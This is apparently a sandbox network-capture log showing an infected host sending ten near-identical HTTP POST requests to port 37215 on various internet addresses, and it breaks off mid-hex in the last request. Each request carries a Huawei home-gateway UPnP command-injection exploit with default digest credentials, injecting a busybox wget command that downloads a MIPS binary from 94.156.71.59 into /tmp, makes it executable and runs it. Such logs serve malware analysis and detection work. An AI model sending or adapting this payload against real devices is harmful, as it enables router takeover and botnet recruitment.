Jun 10, 2024 15:38:00.173963070 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.13	56568	197.123.247.90	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.175014973 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.13	41532	197.127.189.142	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.176045895 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.13	39800	156.160.21.128	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.177056074 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.13	44078	41.69.149.120	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.178071022 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.13	50148	156.179.233.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.179071903 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.13	44542	41.167.61.202	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.179963112 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.13	45616	41.124.122.69	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.180723906 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.13	48948	41.116.99.196	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.181484938 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.13	34830	197.26.246.153	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.182265043 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.13	53528	41.9.80.183	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.183026075 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 